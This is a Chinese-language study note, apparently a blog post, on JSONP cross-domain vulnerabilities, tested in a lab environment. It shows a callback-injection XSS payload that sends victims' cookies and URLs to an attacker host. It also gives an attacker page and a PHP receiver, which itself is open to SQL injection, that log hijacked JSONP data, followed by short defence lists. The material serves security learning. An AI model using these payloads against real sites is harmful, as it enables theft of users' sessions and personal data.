JSONP跨域访问漏洞

JSONP跨域访问漏洞

一、漏洞原理

SONP跨域漏洞主要是Callback用户可控导致的XSSJSONP劫持两种类型

JSONP劫持,实质上算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。


二、callback参数自定义引起的XSS
1.漏洞利用

构造如下页面,创建恶意链接诱使用户点击,即可获取用户的信息

<script>
	function test(args) {
    // 调用stringfy方法,将JSON对象转换为字符串
    	alert(JSON.stringify(args));
    }
</script>

<script src="http://192.168.30.103/jsonp.php?callback=location.href=
            'http://192.168.30.104/security/xssrecv.php?url=' %2B location.href %2B '%26cookie='
             %2B document.cookie;//"></script>
			// %2B为+ %26为&
</script>

模拟用户访问,成功将cookie和url地址添加到数据库

image-20230501235323366

2.防御

过滤callback函数名称和内容

设置白名单,提前沟通好允许传输的内容

严格按照JSON格式标准输出,添加header (“Content-Type:application/json”)


三、JSONP劫持

通过对callback的过滤,无法利用跨域访问漏洞实现xss攻击,但还存在JSONP漏洞

1.漏洞利用

以DoraBox靶场的jsonp模块为例

在攻击者服务器192.168.30.104上创建jsonpuse.html(发送恶意请求)和jsonpuse.php(接收用户信息)

jsonpuse.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JSONP</title>
    
	// 获取数据发送到攻击者服务器
	<script>
        function callBack(args) {
            location.href="http://192.168.30.104/jsonprecv.php?value=" + 
            JSON.stringify(args) + "&referer=" + document.referer;
        }
    </script>
   	
	// 访问有jsonp漏洞的服务器
    <script src="http://192.168.30.103/security/dorabox/csrf/jsonp.php?callback=callBack"></script>

</head>
<body>
    
</body>
</html>

jsonprecv.php

<?php

// 获取参数
$ipaddr = $_SERVER['REMOTE_ADDR'];
$referer = $_GET['referer'];
$value = $_GET['value'];

// 写入数据库
$conn = new mysqli('127.0.0.1', 'root', '123456', 'learn') or die('database connected fail');
$conn -> character_set_name('utf8');
$sql = "insert into jsonpdata(ipaddr, referer, value, time) values('$ipaddr', '$referer', '$value', now())";
$conn->query($sql) ;

// 跳转页面
echo "<script>location.href='http://www.baidu.com'</script>";

?>                                 

模拟用户打开jsonpuse.html,查看数据库,成功将用户信息写入攻击者服务器

image-20230502090331630

2.防御

Referer校验/过滤增加CSRF Token




以上为本人学习过程记录,未用于非法用途
欢迎各位大佬指正

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值